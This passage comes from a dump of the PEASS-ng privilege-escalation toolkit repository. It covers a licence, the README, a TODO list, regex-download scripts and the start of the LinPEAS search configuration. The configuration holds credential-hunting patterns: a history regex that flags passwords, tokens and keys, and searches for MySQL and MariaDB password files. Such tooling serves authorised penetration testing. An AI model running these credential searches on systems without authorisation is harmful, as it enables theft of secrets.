information can be foud.\n\n## Specific LinPEAS additions\nFrom the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/peass-ng/PEASS-ng/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that will be merged into linpeas.sh*.\nThe new linpeas.sh script will be auto-generated in the PR.\n\n## Specific WinPEAS additions\nJust modify winpeas and create a PR to master.\nThe new winpeas binaries will be auto-generated in the PR.\n"
  },
  {
    "path": "LICENSE",
    "content": "COPYING -- Describes the terms under which peass-ng is distributed. A copy\nof the GNU General Public License (GPL) is appended to this file.\n\npeass-ng is (C) 2019-2024 Carlos Polop Martin.\n\nThis program is free software; you may redistribute and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation; Version 2 (or later) with the clarifications and\nexceptions described below. This guarantees your right to use, modify, and\nredistribute this software under certain conditions. If you wish to embed\npeass-ng technology into proprietary software, we sell alternative licenses\n(contact me via email, telegram or github issue).\n\nNote that the GPL places important restrictions on \"derived works\", yet it\ndoes not provide a detailed definition of that term. To avoid\nmisunderstandings, we interpret that term as broadly as copyright law\nallows. For example, we consider an application to constitute a \"derived\nwork\" for the purpose of this license if it does any of the following:\n* Integrates source code from peass-ng.\n* Reads or includes peass-ng copyrighted files or any file in this repository\n* Executes peass-ng and parses the results (as opposed to typical shell or\n  execution-menu apps, which simply display raw peass-ng output and so are\n  not derivative works).\n* Integrates/includes/aggregates peass-ng into a proprietary executable\n  installer, such as those produced by InstallShield.\n* Links to a library or executes a program that does any of the above\n\nThe term \"peass-ng\" should be taken to also include any portions or derived\nworks of peass-ng. This list is not exclusive, but is meant to clarify our\ninterpretation of derived works with some common examples. Our\ninterpretation applies only to peass-ng - we do not speak for other people's\nGPL works.\n\nThis license does not apply to the third-party components.\n\nIf you have any questions about the GPL licensing restrictions on using\npeass-ng in non-GPL works, we would be happy to help. As mentioned above,\nwe also offer alternative license to integrate peass-ng into proprietary\napplications and appliances.\n\nIf you received these files with a written license agreement or contract\nstating terms other than the terms above, then that alternative license\nagreement takes precedence over these comments.\n\nSource is provided to this software because we believe users have a right\nto know exactly what a program is going to do before they run it.\n\nSource code also allows you to fix bugs and add new features. You are\nhighly encouraged to send your changes for possible\nincorporation into the main distribution. By sending these changes to the\npeass-ng developers or via Git pull request, checking them into the peass-ng\nsource code repository, it is understood (unless you specify otherwise)\nthat you are offering the peass-ng project the unlimited, non-exclusive\nright to reuse, modify, and relicense the code. peass-ng will always be\navailable Open Source, but this is important because the inability to\nrelicense code has caused devastating problems for other Free Software\nprojects (such as KDE and NASM). If you wish to specify special license\nconditions of your contributions, just say so when you send them.\n\nThis program is distributed in the hope that it will be useful, but\nWITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nGeneral Public License v2.0 for more details at\nhttp://www.gnu.org/licenses/gpl-2.0.html, or below\n\n****************************************************************************\n\n                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS"
  },
  {
    "path": "README.md",
    "content": "# PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation\n\n![](https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/images/peass.png)\n\n![](https://img.shields.io/badge/Black-Arch-black) ![](https://img.shields.io/badge/Arch-AUR-brightgreen) ![](https://img.shields.io/badge/Black%20Hat%20Arsenal-Asia%202020-red)\n\n# Basic Tutorial\n[![Tutorial](https://img.youtube.com/vi/2Ey1WQXNp3w/0.jpg)](https://www.youtube.com/watch?v=9_fJv_weLU0&list=PL9fPq3eQfaaDxjpXaDYApfVA_IB8T14w7)\n\n\nHere you will find **privilege escalation tools for Windows and Linux/Unix\\* and MacOS**.\n\nThese tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.\n\n- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)**\n- **[WinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**\n\n- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html)**\n- **[LinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**\n\n## Quick Start\nFind the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**.\n\n## JSON, HTML & PDF output\nCheck the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF**\n\n## Join us!\n\nIf you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**\n\nYou can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about the latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).\n\n## Let's improve PEASS together\n\nIf you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/peass-ng/PEASS-ng/blob/master/CONTRIBUTING.md)** file.\n\n## Advisory\n\nAll the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.\n"
  },
  {
    "path": "TODO.md",
    "content": "# TODO\n\n### Generate Nice Reports\n- [x] Create a parser from linpeas and winpeas.exe output to JSON. You can fin it [here](https://github.com/peass-ng/PEASS-ng/tree/master/parser).\n- [ ] Create a python script that generates a nice HTML/PDF from the JSON output\n\n### Generate a DB of Known Vulnerable Binaries\n- [ ] Create a DB of the md5/sha1 of binaries known to be vulnerable to command execution/Privilege Escalation\n\n### Maintain Updated LinPEAS's known SUID exploits \n- [ ] Maintain updated LinPEAS's known SUID exploits \n\n### Network Capabilities for WinPEAS\n- [ ] Give to WinPEAS network host discover capabilities and port scanner capabilities (like LinPEAS has)\n\n### Add More checks to LinPEAS and WinPEAS\n- [ ] Add more checks in LinPEAS\n- [ ] Add more checks in WinPEAS\n\n### Find a way to minify and/or obfuscate LinPEAS automatically\n- [ ] Find a way to minify and/or obfuscate linpeas.sh automatically. If you know a way contact me in Telegram or via github issues\n\n### Create a PEASS-ng Web Page were the project is properly presented\n- [ ] Let me know in Telegram or github issues if you are interested in helping with this\n\n### Relate LinPEAS and WinPEAS with the Att&ck matrix\n- [ ] In the title of each check of LinPEAS and WinPEAS indicate between parenthesis and in grey the Tactic used. Example: **Enumerating something** (*T1234*)\n- [ ] Once the previous task is done, modify LinPEAS and WinPEAS to be able to indicate just the Tactic(s) that want to be executed so the scripts only execute the checks related to those tactics. Example: `linpeas.sh -T T1590,T1591`\n"
  },
  {
    "path": "build_lists/download_regexes.ps1",
    "content": "$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path\n$filePath = Join-Path $scriptDir \"regexes.yaml\"\n$url = \"https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml\"\n\nInvoke-WebRequest $url -OutFile $filePath"
  },
  {
    "path": "build_lists/download_regexes.py",
    "content": "#!/usr/bin/env python3\n\nimport os\nimport requests\nfrom pathlib import Path\n\n\ndef download_regexes():\n    print(\"[+] Downloading regexes...\")\n    url = \"https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml\"\n    response = requests.get(url)\n    if response.status_code == 200:\n        # Save the content of the response to a file\n        script_folder = Path(os.path.dirname(os.path.abspath(__file__)))\n        target_file = script_folder / 'regexes.yaml'\n\n        with open(target_file, \"w\") as file:\n            file.write(response.text)\n        print(f\"Downloaded and saved in '{target_file}' successfully!\")\n    else:\n        print(\"Error: Unable to download the regexes file.\")\n        exit(1)\n\ndownload_regexes()\n"
  },
  {
    "path": "build_lists/sensitive_files.yaml",
    "content": "############################\n## LINPEAS SPECIFICATIONS ##\n############################\n\n\nroot_folders:\n  - ${ROOT_FOLDER}applications  #common\n  - ${ROOT_FOLDER}bin           #common\n  - ${ROOT_FOLDER}.cache        #common\n  - ${ROOT_FOLDER}cdrom         #common\n  - ${ROOT_FOLDER}etc           #common\n  - $HOMESEARCH    #common, use this instead of \"/home\"\n  - ${ROOT_FOLDER}lib\n  - ${ROOT_FOLDER}lib32\n  - ${ROOT_FOLDER}lib64\n  - ${ROOT_FOLDER}media         #common\n  - ${ROOT_FOLDER}mnt           #common\n  - ${ROOT_FOLDER}opt           #common\n  - ${ROOT_FOLDER}private       #common\n  - ${ROOT_FOLDER}run\n  - ${ROOT_FOLDER}sbin          #common\n  - ${ROOT_FOLDER}snap          #common\n  - ${ROOT_FOLDER}srv           #common\n  - ${ROOT_FOLDER}sys \n  - ${ROOT_FOLDER}system\n  - ${ROOT_FOLDER}systemd\n  - ${ROOT_FOLDER}tmp           #common\n  - ${ROOT_FOLDER}usr           #common\n  - ${ROOT_FOLDER}var           #common\n  - ${ROOT_FOLDER}concourse-auth\n  - ${ROOT_FOLDER}concourse-keys\n\n\ncommon_file_folders:\n  - ${ROOT_FOLDER}applications \n  - ${ROOT_FOLDER}bin\n  - ${ROOT_FOLDER}.cache\n  - ${ROOT_FOLDER}cdrom\n  - ${ROOT_FOLDER}etc\n  - $HOMESEARCH\n  - ${ROOT_FOLDER}media\n  - ${ROOT_FOLDER}mnt\n  - ${ROOT_FOLDER}opt\n  - ${ROOT_FOLDER}private\n  - ${ROOT_FOLDER}sbin\n  - ${ROOT_FOLDER}snap\n  - ${ROOT_FOLDER}srv\n  - ${ROOT_FOLDER}tmp\n  - ${ROOT_FOLDER}usr\n  - ${ROOT_FOLDER}var\n\ncommon_directory_folders:\n  - ${ROOT_FOLDER}applications \n  - ${ROOT_FOLDER}bin\n  - ${ROOT_FOLDER}.cache\n  - ${ROOT_FOLDER}cdrom\n  - ${ROOT_FOLDER}etc\n  - $HOMESEARCH\n  - ${ROOT_FOLDER}media\n  - ${ROOT_FOLDER}mnt\n  - ${ROOT_FOLDER}opt\n  - ${ROOT_FOLDER}private\n  - ${ROOT_FOLDER}sbin\n  - ${ROOT_FOLDER}snap\n  - ${ROOT_FOLDER}srv\n  - ${ROOT_FOLDER}tmp\n  - ${ROOT_FOLDER}usr\n  - ${ROOT_FOLDER}var\n\npeas_checks: \"peass{CHECKS}\"\npeas_regexes_markup: \"peass{REGEXES}\"\n\npeas_extrasections_markup: \"peass{EXTRA_SECTIONS}\"\n\npeas_finds_markup: \"peass{FINDS_HERE}\"\npeas_finds_custom_markup: \"peass{FINDS_CUSTOM}\"\nfind_line_markup: \"peass{FIND_PARAMS_HERE}\"\nfind_template: >\n          `eval_bckgrd \"find peass{FIND_PARAMS_HERE} 2>/dev/null | sort; printf \\\\\\$YELLOW'. '\\\\\\$NC 1>&2;\"`\n\npeas_storages_markup: \"peass{STORAGES_HERE}\"\nstorage_line_markup: \"peass{STORAGE_PARAMS_HERE}\"\nstorage_line_extra_markup: \"peass{STORAGE_PARAMS_EXTRA_HERE}\"\nstorage_template: >\n          $(echo -e \"peass{STORAGE_PARAMS_HERE}\" peass{STORAGE_PARAMS_EXTRA_HERE} | sort | uniq | head -n 70)\n\nint_hidden_files_markup: \"peass{INT_HIDDEN_FILES}\"\n\nsuidVB1_markup: \"peass{SUIDVB1_HERE}\"\nsuidVB2_markup: \"peass{SUIDVB2_HERE}\"\nsudoVB1_markup: \"peass{SUDOVB1_HERE}\"\nsudoVB2_markup: \"peass{SUDOVB2_HERE}\"\ncap_setuid_markup: \"peass{CAP_SETUID_HERE}\"\ncap_setgid_markup: \"peass{CAP_SETGID_HERE}\"\nles_markup: \"peass{LES}\"\nles2_markup: \"peass{LES2}\"\n\nfat_linpeas_amicontained_markup: \"peass{AMICONTAINED}\"\nfat_linpeas_gitleaks_linux_markup: \"peass{GITLEAKS_LINUX}\"\nfat_linpeas_gitleaks_macos_markup: \"peass{GITLEAKS_MACOS}\"\n\n##############################\n## AUTO GENERATED VARIABLES ##\n## FOR WINPEAS & LINPEAS    ##\n##############################\n\nvariables_markup: \"peass{VARIABLES}\"\n\nvariables:\n  - name: pwd_inside_history\n    value: \"az login|enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|roadrecon auth|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|Save-AzContext|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:|chpasswd\"\n\n\n\n####################\n## DEFAULT VALUES ##\n####################\n\ndefaults:\n  auto_check: False           #The builder will generate a check for the file (only linpeas)\n  bad_regex: \"\"               #The regex used to color red. If only_bad_lines and no line_grep, then only lines containing this regex will be printed\n  very_bad_regex: \"\"          #The regex used to color yellow/red\n  check_extra_path: \"\"        #Check if the found files are in a specific path (only linpeas)\n  good_regex: \"\"              #The regex to color green\n  just_list_file: False       #Just mention the path to the file, do not cat it\n  line_grep: \"\"               #The regex to grep lines in a file. IMPORTANT: This is the argument for \"grep\" command so you need to specify the single and double quotes (see examples)\n  only_bad_lines: False       #Only print lines containing something red (cnotaining bad_regex)\n  remove_empty_lines: False   #Remove empty lines, use only for text files (-I param in grep)\n  remove_path: \"\"             #Not interested in files containing this path (only linpeas)\n  remove_regex: \"\"            #Remove lines containing this regex\n  search_in:                  #By default search in defined common (only linpeas)\n    - common\n  type: f                     #File by default\n  \n  exec: []                    #Cmd to execute with the check (only linpeas)\n\n\n##############\n## EXAMPLES ##\n##############\n\n#-) In the following example PostgreSQL searches are performed:\n## - auto_check is True (by default set it always to True)\n## - exec is and array of sh commands to execute, in this case a command is executed to get the postgresql version\n## - The file \"pgadmin*.db\" is searched\n### - just_list_file is True, so the content of the list is not going to be read, just the path of the file will be indicated\n### - type is f (file, not dir)\n### - search_in is \"common\", so look for this file in common directories\n## - The file \"pg_hba.conf\" is searched\n### - bad_regex indicates the content of the file that if found is going to be written in red in the output\n### - type is f (file, not dir)\n### - remove_empty_lines is True, this indicates that empty lines of the file aren't going to be written in the output\n### - remove_regex is a regex to avoid printing lines where the regex is found\n### - search_in is \"common\", so look for this file in common directories\n\n#- name: PostgreSQL\n#    value:\n#        config:\n#          auto_check: True\n#          exec:\n#            - 'echo \"Version: $(warn_exec psql -V 2>/dev/null)\"'\n#\n#        files:\n#          - name: \"pgadmin*.db\"\n#            value: \n#                type: f\n#                just_list_file: True\n#                search_in: \n#                  - common\n#      \n#          - name: \"pg_hba.conf\"\n#            value: \n#                bad_regex: \"auth|password|md5|user=|pass=|trust\"\n#                type: f\n#                remove_empty_lines: True\n#                remove_regex: '\\W+\\#|^#'\n#                search_in: \n#                  - common\n\n\n\n#-) In the following example Elasticsearch searches are performed:\n## - auto_check is True (by default set it always to True)\n## - exec is and array of sh commands to execute, in this case a HTTP request is performed to obtain the version\n## - The file \"elasticsearch.y*ml\" is searched\n### - line_grep is the grep argument to filter interesting lineas\n### - remove_regex is a regex to avoid printing lines where the regex is found\n### - type is f (file, not dir)\n### - search_in is \"common\", so look for this file in common directories\n\n#- name: Elasticsearch\n#    value:\n#        config:\n#          auto_check: True\n#          exec:\n#            - echo \"The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)\"\n#\n#        files:\n#          - name: \"elasticsearch.y*ml\"\n#            value: \n#                line_grep: '\"path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts\"'\n#                remove_regex: '\\W+\\#|^#'\n#                type: f\n#                search_in: \n#                  - common\n\n\n\n#-) In the following example Apache searches are performed:\n## - auto_check is True (by default set it always to True)\n## - exec is and array of sh commands to execute during the check\n## - The directory \"sites-enabled\" is searched\n### - type is d (dir)\n### - search_in is \"common\", so look for this file in common directories\n#### Inside this directory the file \"*\" is searched (in this case \"*\" will get all the files, but more specific regex can be used)\n##### - bad_regex indicates the content of the file that if found is going to be written in red in the output\n##### - only_bad_lines indicate that only lines that contains the regex indicated in bad_regex are going to be printed\n##### - remove_empty_lines is True, this indicates that empty lines of the file aren't going to be written in the output\n##### - remove_regex is a regex to avoid printing lines where the regex is found\n\n#- name: Apache\n#    value:\n#        config:\n#            auto_check: True\n#            exec:\n#            - 'echo \"Version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)\"'\n#            - \"print_3title 'PHP exec extensions'\"\n#            - 'grep -R -B1 \"httpd-php\" /etc/apache2 2>/dev/null'\n#    \n#        files:\n#            - name: \"sites-enabled\"\n#              value: \n#                type: d\n#                files:\n#                    - name: \"*\"\n#                      value:\n#                        bad_regex: \"AuthType|AuthName|AuthUserFile|ServerName|ServerAlias\"\n#                        only_bad_lines: True\n#                        remove_empty_lines: True\n#                        remove_regex: '^#'\n#                search_in: \n#                    - common\n\n\n\n###############################\n## Files & folders to search ##\n###############################\n\nsearch: \n  - name: Systemd\n    value:\n        disable:\n          - winpeas\n  \n        config:\n          auto_check: False\n\n        files:\n          - name: \"*.service\"\n            value: \n                type: f\n                search_in: \n                  - all\n  \n  - name: Timer\n    value:\n        disable:\n          - winpeas\n  \n        config:\n          auto_check: False\n    \n        files:\n          - name: \"*.timer\"\n            value:\n                type: f\n                search_in: \n                  - all\n    \n  - name: Socket\n    value:\n        disable:\n          - winpeas\n  \n        config:\n          auto_check: False\n\n        files:\n          - name: \"*.socket\"\n            value: \n                type: f\n                search_in: \n                  - all\n  \n  - name: DBus\n    value:\n        disable:\n          - winpeas\n  \n        config:\n          auto_check: False\n\n        files:\n          - name: \"system.d\"\n            value: \n                type: d\n                search_in:\n                  - ${ROOT_FOLDER}etc\n    \n  - name: MySQL\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: mysql\n            value:\n                type: d\n                check_extra_path: \"^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql\"\n                remove_path: \"mysql/mysql\"\n                search_in: \n                  - common\n          \n          - name: \"passwd.ibd\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"password*.ibd\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"pwd.ibd\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"mysqld.cnf\"\n            value: \n                bad_regex: \"user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*\"\n                remove_regex: '^#'\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n\n  - name: MariaDB\n    value:\n        config:\n          auto_check: True\n        \n        files:\n          - name: \"mariadb.cnf\"\n            value: \n                bad_regex: \"user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*\"\n                type: f\n                remove_regex: '^#'\n                remove_empty_lines: True\n                search_in: \n                  - common\n          \n          - name: \"debian.cnf\"\n            value: \n                bad_regex: \"user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*\"\n                type: f\n                only_bad_lines: True\n                search_in: \n                  - 